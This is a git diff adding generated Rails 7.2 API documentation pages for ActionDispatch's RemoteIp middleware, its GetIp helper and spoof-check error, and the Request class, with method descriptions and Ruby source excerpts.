diff --git a/src/7.2/classes/ActionDispatch/RemoteIp.html b/src/7.2/classes/ActionDispatch/RemoteIp.html new file mode 100644 index 0000000000..25d3083f22 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/RemoteIp.html @@ -0,0 +1,249 @@ +--- +title: ActionDispatch::RemoteIp +layout: default +--- +
+ +
+
+ +
+ +

Action Dispatch RemoteIp

+ +

This middleware calculates the IP address of the remote client that is making the request. It does this by checking various headers that could contain the address, and then picking the last-set address that is not on the list of trusted IPs. This follows the precedent set by e.g. the Tomcat server. A more detailed explanation of the algorithm is given at GetIp#calculate_ip.

+ +

Some Rack servers concatenate repeated headers, like HTTP RFC 2616 requires. Some Rack servers simply drop preceding headers, and only report the value that was given in the last header. If you are behind multiple proxy servers (like NGINX to HAProxy to Unicorn) then you should test your Rack server to make sure your data is good.

+ +

IF YOU DON’T USE A PROXY, THIS MAKES YOU VULNERABLE TO IP SPOOFING. This middleware assumes that there is at least one proxy sitting around and setting headers with the client’s remote IP address. If you don’t use a proxy, because you are hosted on e.g. Heroku without SSL, any client can claim to have any IP address by setting the X-Forwarded-For header. If you care about that, then you need to explicitly drop or ignore those headers sometime before this middleware runs. Alternatively, remove this middleware to avoid inadvertently relying on it.

+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + +
TRUSTED_PROXIES=[ +"127.0.0.0/8", # localhost IPv4 range, per RFC-3330 +"::1", # localhost IPv6 +"fc00::/7", # private IPv6 range fc00::/7 +"10.0.0.0/8", # private IPv4 range 10.x.x.x +"172.16.0.0/12", # private IPv4 range 172.16.0.0 .. 172.31.255.255 +"192.168.0.0/16", # private IPv4 range 192.168.x.x +].map { |proxy| IPAddr.new(proxy) }
 

The default trusted IPs list simply includes IP addresses that are guaranteed by the IP specification to be private addresses. Those will not be the ultimate client IP in production, and so are discarded. See en.wikipedia.org/wiki/Private_network for details.

+ + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [R] + check_ip
+ [R] + proxies
+ + + + +

Class Public methods

+ +
+

+ + new(app, ip_spoofing_check = true, custom_proxies = nil) + +

+ + +
+

Create a new RemoteIp middleware instance.

+ +

The ip_spoofing_check option is on by default. When on, an exception is raised if it looks like the client is trying to lie about its own IP address. It makes sense to turn off this check on sites aimed at non-IP clients (like WAP devices), or behind proxies that set headers in an incorrect or confusing way (like AWS ELB).

+ +

The custom_proxies argument can take an enumerable which will be used instead of TRUSTED_PROXIES. Any proxy setup will put the value you want in the middle (or at the beginning) of the X-Forwarded-For list, with your proxy servers after it. If your proxies aren’t removed, pass them in via the custom_proxies parameter. That way, the middleware will ignore those IP addresses, and return the one that you want.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/remote_ip.rb, line 65
+    def initialize(app, ip_spoofing_check = true, custom_proxies = nil)
+      @app = app
+      @check_ip = ip_spoofing_check
+      @proxies = if custom_proxies.blank?
+        TRUSTED_PROXIES
+      elsif custom_proxies.respond_to?(:any?)
+        custom_proxies
+      else
+        raise(ArgumentError, <<~EOM)
+          Setting config.action_dispatch.trusted_proxies to a single value isn't
+          supported. Please set this to an enumerable instead. For
+          example, instead of:
+
+          config.action_dispatch.trusted_proxies = IPAddr.new("10.0.0.0/8")
+
+          Wrap the value in an Array:
+
+          config.action_dispatch.trusted_proxies = [IPAddr.new("10.0.0.0/8")]
+
+          Note that passing an enumerable will *replace* the default set of trusted proxies.
+        EOM
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + call(env) + +

+ + +
+

Since the IP address may not be needed, we store the object here without calculating the IP to keep from slowing down the majority of requests. For those requests that do need to know the IP, the GetIp#calculate_ip method will calculate the memoized client IP address.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/remote_ip.rb, line 93
+    def call(env)
+      req = ActionDispatch::Request.new env
+      req.remote_ip = GetIp.new(req, check_ip, proxies)
+      @app.call(req.env)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/RemoteIp/GetIp.html b/src/7.2/classes/ActionDispatch/RemoteIp/GetIp.html new file mode 100644 index 0000000000..3fc106df25 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/RemoteIp/GetIp.html @@ -0,0 +1,334 @@ +--- +title: ActionDispatch::RemoteIp::GetIp +layout: default +--- +
+ +
+
+ +
+ +

The GetIp class exists as a way to defer processing of the request data into an actual IP address. If the ActionDispatch::Request#remote_ip method is called, this class will calculate the value and then memoize it.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(req, check_ip, proxies) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/remote_ip.rb, line 103
+      def initialize(req, check_ip, proxies)
+        @req      = req
+        @check_ip = check_ip
+        @proxies  = proxies
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + calculate_ip() + +

+ + +
+

Sort through the various IP address headers, looking for the IP most likely to be the address of the actual remote client making this request.

+ +

REMOTE_ADDR will be correct if the request is made directly against the Ruby process, on e.g. Heroku. When the request is proxied by another server like HAProxy or NGINX, the IP address that made the original request will be put in an X-Forwarded-For header. If there are multiple proxies, that header may contain a list of IPs. Other proxy services set the Client-Ip header instead, so we check that too.

+ +

As discussed in this post about Rails IP Spoofing, while the first IP in the list is likely to be the β€œoriginating” IP, it could also have been set by the client maliciously.

+ +

In order to find the first address that is (probably) accurate, we take the list of IPs, remove known and trusted proxies, and then take the last address left, which was presumably set by one of those proxies.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/remote_ip.rb, line 127
+      def calculate_ip
+        # Set by the Rack web server, this is a single value.
+        remote_addr = ips_from(@req.remote_addr).last
+
+        # Could be a CSV list and/or repeated headers that were concatenated.
+        client_ips    = ips_from(@req.client_ip).reverse!
+        forwarded_ips = ips_from(@req.x_forwarded_for).reverse!
+
+        # `Client-Ip` and `X-Forwarded-For` should not, generally, both be set. If they
+        # are both set, it means that either:
+        #
+        # 1) This request passed through two proxies with incompatible IP header
+        #     conventions.
+        #
+        # 2) The client passed one of `Client-Ip` or `X-Forwarded-For`
+        #     (whichever the proxy servers weren't using) themselves.
+        #
+        # Either way, there is no way for us to determine which header is the right one
+        # after the fact. Since we have no idea, if we are concerned about IP spoofing
+        # we need to give up and explode. (If you're not concerned about IP spoofing you
+        # can turn the `ip_spoofing_check` option off.)
+        should_check_ip = @check_ip && client_ips.last && forwarded_ips.last
+        if should_check_ip && !forwarded_ips.include?(client_ips.last)
+          # We don't know which came from the proxy, and which from the user
+          raise IpSpoofAttackError, "IP spoofing attack?! " \
+            "HTTP_CLIENT_IP=#{@req.client_ip.inspect} " \
+            "HTTP_X_FORWARDED_FOR=#{@req.x_forwarded_for.inspect}"
+        end
+
+        # We assume these things about the IP headers:
+        #
+        #     - X-Forwarded-For will be a list of IPs, one per proxy, or blank
+        #     - Client-Ip is propagated from the outermost proxy, or is blank
+        #     - REMOTE_ADDR will be the IP that made the request to Rack
+        ips = forwarded_ips + client_ips
+        ips.compact!
+
+        # If every single IP option is in the trusted list, return the IP that's
+        # furthest away
+        filter_proxies(ips + [remote_addr]).first || ips.last || remote_addr
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_s() + +

+ + +
+

Memoizes the value returned by calculate_ip and returns it for ActionDispatch::Request to use.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/remote_ip.rb, line 171
+      def to_s
+        @ip ||= calculate_ip
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Private methods

+ +
+

+ + filter_proxies(ips) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/remote_ip.rb, line 191
+      def filter_proxies(ips) # :doc:
+        ips.reject do |ip|
+          @proxies.any? { |proxy| proxy === ip }
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + ips_from(header) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/remote_ip.rb, line 176
+      def ips_from(header) # :doc:
+        return [] unless header
+        # Split the comma-separated list into an array of strings.
+        ips = header.strip.split(/[,\s]+/)
+        ips.select! do |ip|
+          # Only return IPs that are valid according to the IPAddr#new method.
+          range = IPAddr.new(ip).to_range
+          # We want to make sure nobody is sneaking a netmask in.
+          range.begin == range.end
+        rescue ArgumentError
+          nil
+        end
+        ips
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/RemoteIp/IpSpoofAttackError.html b/src/7.2/classes/ActionDispatch/RemoteIp/IpSpoofAttackError.html new file mode 100644 index 0000000000..00e4f78452 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/RemoteIp/IpSpoofAttackError.html @@ -0,0 +1,60 @@ +--- +title: ActionDispatch::RemoteIp::IpSpoofAttackError +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Request.html b/src/7.2/classes/ActionDispatch/Request.html new file mode 100644 index 0000000000..80e9e1ce08 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Request.html @@ -0,0 +1,2018 @@ +--- +title: ActionDispatch::Request +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ENV_METHODS=%w[ AUTH_TYPE GATEWAY_INTERFACE +PATH_TRANSLATED REMOTE_HOST +REMOTE_IDENT REMOTE_USER REMOTE_ADDR +SERVER_NAME SERVER_PROTOCOL +ORIGINAL_SCRIPT_NAME + +HTTP_ACCEPT HTTP_ACCEPT_CHARSET HTTP_ACCEPT_ENCODING +HTTP_ACCEPT_LANGUAGE HTTP_CACHE_CONTROL HTTP_FROM +HTTP_NEGOTIATE HTTP_PRAGMA HTTP_CLIENT_IP +HTTP_X_FORWARDED_FOR HTTP_ORIGIN HTTP_VERSION +HTTP_X_CSRF_TOKEN HTTP_X_REQUEST_ID HTTP_X_FORWARDED_HOST +].freeze
HTTP_METHODS=RFC2616 + RFC2518 + RFC3253 + RFC3648 + RFC3744 + RFC5323 + RFC4791 + RFC5789
HTTP_METHOD_LOOKUP={}
LOCALHOST=Regexp.union [/^127\.\d{1,3}\.\d{1,3}\.\d{1,3}$/, /^::1$/, /^0:0:0:0:0:0:0:1(%.*)?$/]
RFC2518=%w(PROPFIND PROPPATCH MKCOL COPY MOVE LOCK UNLOCK)
 

HTTP methods from RFC 2518: HTTP Extensions for Distributed Authoring – WEBDAV

RFC2616=%w(OPTIONS GET HEAD POST PUT DELETE TRACE CONNECT)
 

HTTP methods from RFC 2616: Hypertext Transfer Protocol – HTTP/1.1

RFC3253=%w(VERSION-CONTROL REPORT CHECKOUT CHECKIN UNCHECKOUT MKWORKSPACE UPDATE LABEL MERGE BASELINE-CONTROL MKACTIVITY)
 

HTTP methods from RFC 3253: Versioning Extensions to WebDAV

RFC3648=%w(ORDERPATCH)
 

HTTP methods from RFC 3648: WebDAV Ordered Collections Protocol

RFC3744=%w(ACL)
 

HTTP methods from RFC 3744: WebDAV Access Control Protocol

RFC4791=%w(MKCALENDAR)
 

HTTP methods from RFC 4791: Calendaring Extensions to WebDAV

RFC5323=%w(SEARCH)
 

HTTP methods from RFC 5323: WebDAV SEARCH

RFC5789=%w(PATCH)
 

HTTP methods from RFC 5789: PATCH Method for HTTP

+ + + + + + +

Class Public methods

+ +
+

+ + empty() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/request.rb, line 58
+    def self.empty
+      new({})
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(env) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/request.rb, line 62
+    def initialize(env)
+      super
+      @method            = nil
+      @request_method    = nil
+      @remote_ip         = nil
+      @original_fullpath = nil
+      @fullpath          = nil
+      @ip                = nil
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + GET() + +

+ + +
+

Override Rack’s GET method to support indifferent access.

+
+ + + +
+ Also aliased as: query_parameters +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/request.rb, line 387
+    def GET
+      fetch_header("action_dispatch.request.query_parameters") do |k|
+        rack_query_params = super || {}
+        controller = path_parameters[:controller]
+        action = path_parameters[:action]
+        rack_query_params = Request::Utils.set_binary_encoding(self, rack_query_params, controller, action)
+        # Check for non UTF-8 parameter values, which would cause errors later
+        Request::Utils.check_param_encoding(rack_query_params)
+        set_header k, Request::Utils.normalize_encode_params(rack_query_params)
+      end
+    rescue Rack::Utils::ParameterTypeError, Rack::Utils::InvalidParameterError, Rack::QueryParser::ParamsTooDeepError => e
+      raise ActionController::BadRequest.new("Invalid query parameters: #{e.message}")
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + POST() + +

+ + +
+

Override Rack’s POST method to support indifferent access.

+
+ + + +
+ Also aliased as: request_parameters +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/request.rb, line 403
+    def POST
+      fetch_header("action_dispatch.request.request_parameters") do
+        pr = parse_formatted_parameters(params_parsers) do |params|
+          super || {}
+        end
+        pr = Request::Utils.set_binary_encoding(self, pr, path_parameters[:controller], path_parameters[:action])
+        Request::Utils.check_param_encoding(pr)
+        self.request_parameters = Request::Utils.normalize_encode_params(pr)
+      end
+    rescue Rack::Utils::ParameterTypeError, Rack::Utils::InvalidParameterError, Rack::QueryParser::ParamsTooDeepError, EOFError => e
+      raise ActionController::BadRequest.new("Invalid request parameters: #{e.message}")
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + authorization() + +

+ + +
+

Returns the authorization header regardless of whether it was specified directly or through one of the proxy alternatives.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/request.rb, line 419
+    def authorization
+      get_header("HTTP_AUTHORIZATION")   ||
+      get_header("X-HTTP_AUTHORIZATION") ||
+      get_header("X_HTTP_AUTHORIZATION") ||
+      get_header("REDIRECT_X_HTTP_AUTHORIZATION")
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + body() + +

+ + +
+

The request body is an IO input stream. If the RAW_POST_DATA environment variable is already set, wrap it in a StringIO.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/request.rb, line 349
+    def body
+      if raw_post = get_header("RAW_POST_DATA")
+        raw_post = (+raw_post).force_encoding(Encoding::BINARY)
+        StringIO.new(raw_post)
+      else
+        body_stream
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + commit_csrf_token() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/request.rb, line 451
+    def commit_csrf_token
+      controller_instance.commit_csrf_token(self) if controller_instance.respond_to?(:commit_csrf_token)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + commit_flash() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/request.rb, line 440
+    def commit_flash
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + content_length() + +

+ + +
+

Returns the content length of the request as an integer.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/request.rb, line 284
+    def content_length
+      return raw_post.bytesize if headers.key?("Transfer-Encoding")
+      super.to_i
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + controller_class() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/request.rb, line 81
+    def controller_class
+      params = path_parameters
+      params[:action] ||= "index"
+      controller_class_for(params[:controller])
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + controller_class_for(name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/request.rb, line 87
+    def controller_class_for(name)
+      if name
+        controller_param = name.underscore
+        const_name = controller_param.camelize << "Controller"
+        begin
+          const_name.constantize
+        rescue NameError => error
+          if error.missing_name == const_name || const_name.start_with?("#{error.missing_name}::")
+            raise MissingController.new(error.message, error.name)
+          else
+            raise
+          end
+        end
+      else
+        PASS_NOT_FOUND
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + form_data?() + +

+ + +
+

Determine whether the request body contains form-data by checking the request Content-Type for one of the media-types: application/x-www-form-urlencoded or multipart/form-data. The list of form-data media types can be modified through the FORM_DATA_MEDIA_TYPES array.

+ +

A request body is not assumed to contain form-data when no Content-Type header is provided and the request_method is POST.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/request.rb, line 365
+    def form_data?
+      FORM_DATA_MEDIA_TYPES.include?(media_type)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + fullpath() + +

+ + +
+

Returns the String full path including params of the last URL requested.

+ +
# get "/articles"
+request.fullpath # => "/articles"
+
+# get "/articles?page=2"
+request.fullpath # => "/articles?page=2"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/request.rb, line 263
+    def fullpath
+      @fullpath ||= super
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + headers() + +

+ + +
+

Provides access to the request’s HTTP headers, for example:

+ +
request.headers["Content-Type"] # => "text/plain"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/request.rb, line 225
+    def headers
+      @headers ||= Http::Headers.new(self)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + http_auth_salt() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/request.rb, line 191
+    def http_auth_salt
+      get_header "action_dispatch.http_auth_salt"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + ip() + +

+ + +
+

Returns the IP address of client as a String.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/request.rb, line 298
+    def ip
+      @ip ||= super
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + key?(key) + +

+ + +
+

Returns true if the request has a header matching the given key parameter.

+ +
request.key? :ip_spoofing_check # => true
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/request.rb, line 108
+    def key?(key)
+      has_header? key
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + local?() + +

+ + +
+

True if the request came from localhost, 127.0.0.1, or ::1.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/request.rb, line 427
+    def local?
+      LOCALHOST.match?(remote_addr) && LOCALHOST.match?(remote_ip)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + logger() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/request.rb, line 436
+    def logger
+      get_header("action_dispatch.logger")
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + media_type() + +

+ + +
+

The String MIME type of the request.

+ +
# get "/articles"
+request.media_type # => "application/x-www-form-urlencoded"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/request.rb, line 279
+    def media_type
+      content_mime_type&.to_s
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + method(*args) + +

+ + +
+

Returns the original value of the environment’s REQUEST_METHOD, even if it was overridden by middleware. See request_method for more information.

+ +

For debugging purposes, when called with arguments this method will fall back to Object#method

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/request.rb, line 205
+    def method(*args)
+      if args.empty?
+        @method ||= check_method(
+          get_header("rack.methodoverride.original_method") ||
+          get_header("REQUEST_METHOD")
+        )
+      else
+        super
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + method_symbol() + +

+ + +
+

Returns a symbol form of the method.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/request.rb, line 218
+    def method_symbol
+      HTTP_METHOD_LOOKUP[method]
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + original_fullpath() + +

+ + +
+

Returns a String with the last requested path including their params.

+ +
# get '/foo'
+request.original_fullpath # => '/foo'
+
+# get '/foo?bar'
+request.original_fullpath # => '/foo?bar'
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/request.rb, line 252
+    def original_fullpath
+      @original_fullpath ||= (get_header("ORIGINAL_FULLPATH") || fullpath)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + original_url() + +

+ + +
+

Returns the original request URL as a String.

+ +
# get "/articles?page=2"
+request.original_url # => "http://www.example.com/articles?page=2"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/request.rb, line 271
+    def original_url
+      base_url + original_fullpath
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + query_parameters() + +

+ + +
+ +
+ + + + + +
+ Alias for: GET +
+ + + + +
+ +
+

+ + raw_post() + +

+ + +
+

Read the request body. This is useful for web services that need to work with raw requests directly.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/request.rb, line 340
+    def raw_post
+      unless has_header? "RAW_POST_DATA"
+        set_header("RAW_POST_DATA", read_body_stream)
+      end
+      get_header "RAW_POST_DATA"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + remote_ip() + +

+ + +
+

Returns the IP address of client as a String, usually set by the RemoteIp middleware.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/request.rb, line 304
+    def remote_ip
+      @remote_ip ||= (get_header("action_dispatch.remote_ip") || ip).to_s
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + remote_ip=(remote_ip) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/request.rb, line 308
+    def remote_ip=(remote_ip)
+      @remote_ip = nil
+      set_header "action_dispatch.remote_ip", remote_ip
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + request_id() + +

+ + +
+

Returns the unique request id, which is based on either the X-Request-Id header that can be generated by a firewall, load balancer, or web server, or by the RequestId middleware (which sets the action_dispatch.request_id environment variable).

+ +

This unique ID is useful for tracing a request from end-to-end as part of logging or debugging. This relies on the Rack variable set by the ActionDispatch::RequestId middleware.

+
+ + + +
+ Also aliased as: uuid +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/request.rb, line 323
+    def request_id
+      get_header ACTION_DISPATCH_REQUEST_ID
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + request_method() + +

+ + +
+

Returns the HTTP method that the application should see. In the case where the method was overridden by a middleware (for instance, if a HEAD request was converted to a GET, or if a _method parameter was used to determine the method the application should use), this method returns the overridden value, not the original.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/request.rb, line 145
+    def request_method
+      @request_method ||= check_method(super)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + request_method_symbol() + +

+ + +
+

Returns a symbol form of the request_method.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/request.rb, line 196
+    def request_method_symbol
+      HTTP_METHOD_LOOKUP[request_method]
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + request_parameters() + +

+ + +
+ +
+ + + + + +
+ Alias for: POST +
+ + + + +
+ +
+

+ + request_parameters=(params) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/request.rb, line 431
+    def request_parameters=(params)
+      raise if params.nil?
+      set_header("action_dispatch.request.request_parameters", params)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reset_csrf_token() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/request.rb, line 447
+    def reset_csrf_token
+      controller_instance.reset_csrf_token(self) if controller_instance.respond_to?(:reset_csrf_token)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reset_session() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/request.rb, line 373
+    def reset_session
+      session.destroy
+      reset_csrf_token
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + route_uri_pattern() + +

+ + +
+

Returns the URI pattern of the matched route for the request, using the same format as bin/rails routes:

+ +
request.route_uri_pattern # => "/:controller(/:action(/:id))(.:format)"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/request.rb, line 153
+    def route_uri_pattern
+      get_header("action_dispatch.route_uri_pattern")
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + send_early_hints(links) + +

+ + +
+

Early Hints is an HTTP/2 status code that indicates hints to help a client start making preparations for processing the final response.

+ +

If the env contains rack.early_hints then the server accepts HTTP2 push for link headers.

+ +

The send_early_hints method accepts a hash of links as follows:

+ +
send_early_hints("link" => "</style.css>; rel=preload; as=style,</script.js>; rel=preload")
+
+ +

If you are using javascript_include_tag or stylesheet_link_tag the Early Hints headers are included by default if supported.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/request.rb, line 241
+    def send_early_hints(links)
+      env["rack.early_hints"]&.call(links)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + server_software() + +

+ + +
+

Returns the lowercase name of the HTTP server software.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/request.rb, line 334
+    def server_software
+      (get_header("SERVER_SOFTWARE") && /^([a-zA-Z]+)/ =~ get_header("SERVER_SOFTWARE")) ? $1.downcase : nil
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + session_options=(options) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/request.rb, line 382
+    def session_options=(options)
+      Session::Options.set self, options
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + uuid() + +

+ + +
+ +
+ + + + + +
+ Alias for: request_id +
+ + + + +
+ +
+

+ + xhr?() + +

+ + +
+ +
+ + + + + +
+ Alias for: xml_http_request? +
+ + + + +
+ +
+

+ + xml_http_request?() + +

+ + +
+

Returns true if the X-Requested-With header contains β€œXMLHttpRequest” (case-insensitive), which may need to be manually added depending on the choice of JavaScript libraries and frameworks.

+
+ + + +
+ Also aliased as: xhr? +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/request.rb, line 292
+    def xml_http_request?
+      /XMLHttpRequest/i.match?(get_header("HTTP_X_REQUESTED_WITH"))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/RequestCookieMethods.html b/src/7.2/classes/ActionDispatch/RequestCookieMethods.html new file mode 100644 index 0000000000..5710ea1959 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/RequestCookieMethods.html @@ -0,0 +1,103 @@ +--- +title: ActionDispatch::RequestCookieMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+ + + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/cookies.rb, line 13
+    def cookie_jar
+      fetch_header("action_dispatch.cookies") do
+        self.cookie_jar = Cookies::CookieJar.build(self, cookies)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/RequestEncoder.html b/src/7.2/classes/ActionDispatch/RequestEncoder.html new file mode 100644 index 0000000000..1e51792280 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/RequestEncoder.html @@ -0,0 +1,73 @@ +--- +title: ActionDispatch::RequestEncoder +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
